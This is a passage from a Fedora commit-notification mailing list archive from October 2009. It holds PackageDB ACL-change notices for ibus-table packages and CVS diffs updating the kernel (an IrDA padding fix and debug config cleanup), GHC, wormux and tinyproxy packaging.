cchance has set the watchbugzilla acl on ibus-table-wubi (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 23:59:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 23:59:51 +0000
Subject: [pkgdb] ibus-table-wubi had acl change status
Message-ID: <20091011235951.D847810F8BE@bastion2.fedora.phx.redhat.com>

cchance has set the approveacls acl on ibus-table-wubi (Fedora 12) to Obsolete for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:02 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000002.EEEA910F8D6@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-xinhua (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:04 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000004.9713210F8AB@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-xinhua (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:06 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000006.99DBE10F8D9@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-xinhua (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:11 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000011.8300A10F8BC@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-xinhua (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:17 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000017.4AE7910F8AC@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-xinhua (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:18 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000018.E0AF510F8B9@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-xinhua (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:19 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000019.D5B1010F8C0@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-xinhua (Fedora 11) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:24 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000024.A80B410F8DD@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-xinhua (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:28 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000028.A2F6C10F889@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-xinhua (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:30 +0000
Subject: [pkgdb] ibus-table-xinhua had acl change status
Message-ID: <20091012000030.68D7910F88B@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-xinhua (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:53 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000053.9E02410F8B7@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-yong (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:56 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000056.5EBB210F8C3@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-yong (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:00:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:00:57 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000057.26AFD10F8C4@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-yong (Fedora devel) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:02 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000102.A057010F8C5@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-yong (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:03 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000103.9A41F10F8F5@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-yong (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:04 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000104.5942E10F8FB@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-yong (Fedora 10) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:08 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000108.E4DC610F8FD@bastion2.fedora.phx.redhat.com>

cchance has set the watchcommits acl on ibus-table-yong (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:09 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000109.2D3C510F900@bastion2.fedora.phx.redhat.com>

cchance has set the watchbugzilla acl on ibus-table-yong (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:11 +0000
Subject: [pkgdb] ibus-table-yong had acl change status
Message-ID: <20091012000111.17E5210F8CA@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-yong (Fedora 12) to Approved for liangsuilong

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:50 +0000
Subject: [pkgdb] ibus-table-erbi had acl change status
Message-ID: <20091012000150.541AE10F87F@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-erbi (Fedora 12) to Obsolete for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-erbi



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:54 +0000
Subject: [pkgdb] ibus-table-erbi had acl change status
Message-ID: <20091012000154.AAC8410F88B@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-erbi (Fedora 11) to Obsolete for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-erbi



From pkgdb at fedoraproject.org  Mon Oct 12 00:01:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 00:01:57 +0000
Subject: [pkgdb] ibus-table-erbi had acl change status
Message-ID: <20091012000157.C2AD510F8AF@bastion2.fedora.phx.redhat.com>

cchance has set the commit acl on ibus-table-erbi (Fedora devel) to Obsolete for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-erbi



From cebbert at fedoraproject.org  Mon Oct 12 00:40:19 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 00:40:19 +0000 (UTC)
Subject: rpms/kernel/F-10 irda-add-irda-skb-cb-qdisc-related-padding.patch, 
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.101, 1.1206.2.102
Message-ID: <20091012004020.80B7811C02A1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4696

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	irda-add-irda-skb-cb-qdisc-related-padding.patch 
Log Message:
Fix broken IrDA stack in 2.6.27 (#508874)

irda-add-irda-skb-cb-qdisc-related-padding.patch:
 irda_device.h |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE irda-add-irda-skb-cb-qdisc-related-padding.patch ---
From: Samuel Ortiz <samuel at sortiz.org>
Date: Wed, 17 Dec 2008 23:44:58 +0000 (-0800)
Subject: irda: Add irda_skb_cb qdisc related padding
X-Git-Tag: v2.6.28-rc9~3^2~1
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=69c30e1e7492192f882a3fc11888b320fde5206a

irda: Add irda_skb_cb qdisc related padding

We need to pad irda_skb_cb in order to keep it safe accross dev_queue_xmit()
calls. This is some ugly and temporary hack triggered by recent qisc code
changes.
Even though it fixes bugzilla.kernel.org bug #11795, it will be replaced by a
proper fix before 2.6.29 is released.

Signed-off-by: Samuel Ortiz <samuel at sortiz.org>
Signed-off-by: David S. Miller <davem at davemloft.net>
---

diff --git a/include/net/irda/irda_device.h b/include/net/irda/irda_device.h
index 3025ae1..94c852d 100644
--- a/include/net/irda/irda_device.h
+++ b/include/net/irda/irda_device.h
@@ -135,9 +135,11 @@ struct dongle_reg {
 
 /* 
  * Per-packet information we need to hide inside sk_buff 
- * (must not exceed 48 bytes, check with struct sk_buff) 
+ * (must not exceed 48 bytes, check with struct sk_buff)
+ * The default_qdisc_pad field is a temporary hack.
  */
 struct irda_skb_cb {
+	unsigned int default_qdisc_pad;
 	magic_t magic;       /* Be sure that we can trust the information */
 	__u32   next_speed;  /* The Speed to be set *after* this frame */
 	__u16   mtt;         /* Minimum turn around time */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.101
retrieving revision 1.1206.2.102
diff -u -p -r1.1206.2.101 -r1.1206.2.102
--- kernel.spec	11 Oct 2009 22:08:52 -0000	1.1206.2.101
+++ kernel.spec	12 Oct 2009 00:40:13 -0000	1.1206.2.102
@@ -794,6 +794,9 @@ Patch15230: sky2-set-sky2_hw_ram_buffer-
 Patch15240: tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
 Patch15250: x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
 
+# Fix broken IrDA stack in 2.6.27 (#508874)
+Patch15300: irda-add-irda-skb-cb-qdisc-related-padding.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1437,6 +1440,9 @@ ApplyPatch sky2-set-sky2_hw_ram_buffer-i
 ApplyPatch tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
 ApplyPatch x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
 
+# Fix broken IrDA stack in 2.6.27 (#508874)
+ApplyPatch irda-add-irda-skb-cb-qdisc-related-padding.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2012,6 +2018,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sun Oct 11 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.102.rc1
+- Fix broken IrDA stack in 2.6.27 (#508874)
+
 * Sun Oct 11 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.101.rc1
 - Networking fixes from 2.6.31-stable:
   ax25-fix-possible-oops-in-ax25_make_new.patch



From bos at fedoraproject.org  Mon Oct 12 01:06:41 2009
From: bos at fedoraproject.org (Bryan O'Sullivan)
Date: Mon, 12 Oct 2009 01:06:41 +0000 (UTC)
Subject: rpms/ghc/devel .cvsignore, 1.18, 1.19 ghc.spec, 1.97, 1.98 sources, 
	1.20, 1.21
Message-ID: <20091012010641.860A611C00EC@cvs1.fedora.phx.redhat.com>

Author: bos

Update of /cvs/extras/rpms/ghc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14008

Modified Files:
	.cvsignore ghc.spec sources 
Log Message:
First attempt at GHC 6.12 RC 1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	22 Jul 2009 04:04:45 -0000	1.18
+++ .cvsignore	12 Oct 2009 01:06:40 -0000	1.19
@@ -1,2 +1 @@
-ghc-6.10.4-src.tar.bz2
-ghc-6.10.4-src-extralibs.tar.bz2
+ghc-6.12.0.20091010-src.tar.bz2


Index: ghc.spec
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/ghc.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- ghc.spec	1 Oct 2009 08:45:50 -0000	1.97
+++ ghc.spec	12 Oct 2009 01:06:41 -0000	1.98
@@ -3,8 +3,6 @@
 %bcond_without prof
 # build users_guide, etc
 %bcond_without manual
-# include extralibs
-%bcond_without extralibs
 
 # experimental
 ## shared libraries support available in ghc >= 6.11
@@ -28,17 +26,14 @@
 
 Name: ghc
 # part of haskell-platform-2009.2.0.2
-Version: 6.10.4
-Release: 2%{?dist}
+Version: 6.12.0.20091010
+Release: 1%{?dist}
 Summary: Glasgow Haskell Compilation system
 # fedora ghc has only been bootstrapped on the following archs:
 ExclusiveArch: %{ix86} x86_64 ppc alpha
 License: BSD
 Group: Development/Languages
 Source0: http://www.haskell.org/ghc/dist/%{version}/ghc-%{version}-src.tar.bz2
-%if %{with extralibs}
-Source1: http://www.haskell.org/ghc/dist/%{version}/ghc-%{version}-src-extralibs.tar.bz2
-%endif
 URL: http://haskell.org/ghc/
 Requires: gcc, gmp-devel
 Requires(post): policycoreutils
@@ -114,7 +109,7 @@ needed.
 %global debug_package %{nil}
 
 %prep
-%setup -q -n %{name}-%{version} %{?with_extralibs:-b1}
+%setup -q -n %{name}-%{version}
 
 %build
 # hack for building a local test package quickly from a prebuilt tree 
@@ -263,6 +258,9 @@ fi
 %endif
 
 %changelog
+* Sun Oct 11 2009 Bryan O'Sullivan <bos at serpentine.com> - 6.12.0.20091010-1
+- Update to 6.12 RC 1
+
 * Thu Oct  1 2009 Jens Petersen <petersen at redhat.com>
 - selinux file context no longer needed in post script
 - (for ghc-6.12-shared) drop ld.so.conf.d files


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	22 Jul 2009 04:04:45 -0000	1.20
+++ sources	12 Oct 2009 01:06:41 -0000	1.21
@@ -1,2 +1 @@
-167687fa582ef6702aaac24e139ec982  ghc-6.10.4-src.tar.bz2
-37ce285617d7cebabc3cf6805bdbca25  ghc-6.10.4-src-extralibs.tar.bz2
+5ca685d5fc1c1d6924656a092f4d9b34  ghc-6.12.0.20091010-src.tar.bz2



From bos at fedoraproject.org  Mon Oct 12 01:18:42 2009
From: bos at fedoraproject.org (Bryan O'Sullivan)
Date: Mon, 12 Oct 2009 01:18:42 +0000 (UTC)
Subject: rpms/ghc/devel ghc.spec,1.98,1.99
Message-ID: <20091012011842.9CB8711C00EC@cvs1.fedora.phx.redhat.com>

Author: bos

Update of /cvs/extras/rpms/ghc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18477

Modified Files:
	ghc.spec 
Log Message:
Correct the version of the embedded Haddock


Index: ghc.spec
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/ghc.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- ghc.spec	12 Oct 2009 01:06:41 -0000	1.98
+++ ghc.spec	12 Oct 2009 01:18:42 -0000	1.99
@@ -10,7 +10,7 @@
 ## include colored html src
 %bcond_with hscolour
 
-%global haddock_version 2.4.2
+%global haddock_version 2.5.0
 
 # Fixing packaging problems can be a tremendous pain because it
 # generally requires a complete rebuild, which takes hours.  To offset



From wart at fedoraproject.org  Mon Oct 12 01:22:54 2009
From: wart at fedoraproject.org (Michael Thomas)
Date: Mon, 12 Oct 2009 01:22:54 +0000 (UTC)
Subject: rpms/wormux/devel .cvsignore, 1.8, 1.9 sources, 1.8, 1.9 wormux.spec,
	1.22, 1.23
Message-ID: <20091012012254.5026911C0265@cvs1.fedora.phx.redhat.com>

Author: wart

Update of /cvs/pkgs/rpms/wormux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20232

Modified Files:
	.cvsignore sources wormux.spec 
Log Message:
Update to 0.8.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wormux/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	19 Jul 2009 02:26:53 -0000	1.8
+++ .cvsignore	12 Oct 2009 01:22:52 -0000	1.9
@@ -1 +1 @@
-wormux-0.8.4.tar.bz2
+wormux-0.8.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wormux/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	19 Jul 2009 02:26:53 -0000	1.8
+++ sources	12 Oct 2009 01:22:52 -0000	1.9
@@ -1 +1 @@
-0aed316799723173f2d6e242af312382  wormux-0.8.4.tar.bz2
+e349893a46ece08533f4e393c82adeef  wormux-0.8.5.tar.bz2


Index: wormux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wormux/devel/wormux.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- wormux.spec	27 Jul 2009 07:26:31 -0000	1.22
+++ wormux.spec	12 Oct 2009 01:22:52 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           wormux
-Version:        0.8.4
-Release:        2%{?dist}
+Version:        0.8.5
+Release:        1%{?dist}
 Summary:        2D convivial mass murder game
 
 Group:          Amusements/Games
@@ -85,8 +85,6 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING ChangeLog
 %{_bindir}/%{name}
-%{_bindir}/%{name}-index-server
-%{_bindir}/%{name}-server
 %{_datadir}/applications/*.desktop
 %{_datadir}/icons/hicolor/32x32/apps/%{name}.png
 %{_datadir}/pixmaps/wormux*.png
@@ -97,6 +95,9 @@ fi
 %{_datadir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Wart <wart at kobold.org> 0.8.5-1
+- Update to 0.8.5
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jjh at fedoraproject.org  Mon Oct 12 01:39:32 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 01:39:32 +0000 (UTC)
Subject: rpms/tinyproxy/devel .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 tinyproxy.spec, 1.6, 1.7
Message-ID: <20091012013932.78A3B11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27940

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Jun 2008 22:15:59 -0000	1.3
+++ .cvsignore	12 Oct 2009 01:39:29 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	30 Aug 2008 20:01:17 -0000	1.4
+++ sources	12 Oct 2009 01:39:31 -0000	1.5
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/devel/tinyproxy.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- tinyproxy.spec	27 Jul 2009 05:59:32 -0000	1.6
+++ tinyproxy.spec	12 Oct 2009 01:39:31 -0000	1.7
@@ -2,8 +2,8 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
-Release:        5%{?dist}
+Version:        1.6.5
+Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
 Group:          System Environment/Daemons
@@ -87,6 +87,9 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to upstream 1.6.5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cebbert at fedoraproject.org  Mon Oct 12 01:52:11 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 01:52:11 +0000 (UTC)
Subject: rpms/kernel/devel config-debug, 1.32, 1.33 config-generic, 1.331,
	1.332 config-nodebug, 1.43, 1.44 kernel.spec, 1.1819, 1.1820
Message-ID: <20091012015211.E723211C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv340

Modified Files:
	config-debug config-generic config-nodebug kernel.spec 
Log Message:
Fix up multiple definition of debug options
  (EXT4_DEBUG, DEBUG_FORCE_WEAK_PER_CPU)


Index: config-debug
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-debug,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- config-debug	11 Oct 2009 07:29:06 -0000	1.32
+++ config-debug	12 Oct 2009 01:52:11 -0000	1.33
@@ -56,3 +56,7 @@ CONFIG_DEBUG_CREDENTIALS=y
 CONFIG_EXT4_DEBUG=y
 
 CONFIG_DEBUG_PERF_USE_VMALLOC=y
+
+# off in both production debug and nodebug builds,
+#  on in rawhide nodebug builds
+# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.331
retrieving revision 1.332
diff -u -p -r1.331 -r1.332
--- config-generic	11 Oct 2009 22:51:57 -0000	1.331
+++ config-generic	12 Oct 2009 01:52:11 -0000	1.332
@@ -3148,7 +3148,6 @@ CONFIG_EXT4_FS=y
 CONFIG_EXT4_FS_XATTR=y
 CONFIG_EXT4_FS_POSIX_ACL=y
 CONFIG_EXT4_FS_SECURITY=y
-CONFIG_EXT4_DEBUG=y
 CONFIG_EXT4DEV_COMPAT=y
 CONFIG_JBD2=y
 CONFIG_JBD2_DEBUG=y
@@ -4134,9 +4133,6 @@ CONFIG_PPS=m
 # This generates a huge amount of dmesg spew
 # CONFIG_DEBUG_KOBJECT is not set
 #
-# This is for ensuring alpha and s390 don't get broken by certain percpu problems
-# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
-#
 #
 # These debug options are deliberatly left on (even in 'make release' kernels).
 # They aren't that much of a performance impact, and the value


Index: config-nodebug
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-nodebug,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- config-nodebug	11 Oct 2009 07:29:06 -0000	1.43
+++ config-nodebug	12 Oct 2009 01:52:11 -0000	1.44
@@ -53,6 +53,8 @@ CONFIG_MMIOTRACE=y
 
 CONFIG_DEBUG_CREDENTIALS=y
 
+# off in both production debug and nodebug builds,
+#  on in rawhide nodebug builds
 CONFIG_DEBUG_FORCE_WEAK_PER_CPU=y
 
 CONFIG_EXT4_DEBUG=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1819
retrieving revision 1.1820
diff -u -p -r1.1819 -r1.1820
--- kernel.spec	11 Oct 2009 22:51:57 -0000	1.1819
+++ kernel.spec	12 Oct 2009 01:52:11 -0000	1.1820
@@ -1986,6 +1986,10 @@ fi
 
 %changelog
 * Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix up multiple definition of debug options
+  (EXT4_DEBUG, DEBUG_FORCE_WEAK_PER_CPU)
+
+* Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
 - 2.6.32-rc4
 - New config options:
   CONFIG_BE2ISCSI=m



From jjh at fedoraproject.org  Mon Oct 12 02:02:20 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:02:20 +0000 (UTC)
Subject: rpms/tinyproxy/F-10 .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 tinyproxy.spec, 1.4, 1.5
Message-ID: <20091012020220.B80DC11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4089

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Jun 2008 22:15:59 -0000	1.3
+++ .cvsignore	12 Oct 2009 02:02:20 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	30 Aug 2008 20:01:17 -0000	1.4
+++ sources	12 Oct 2009 02:02:20 -0000	1.5
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
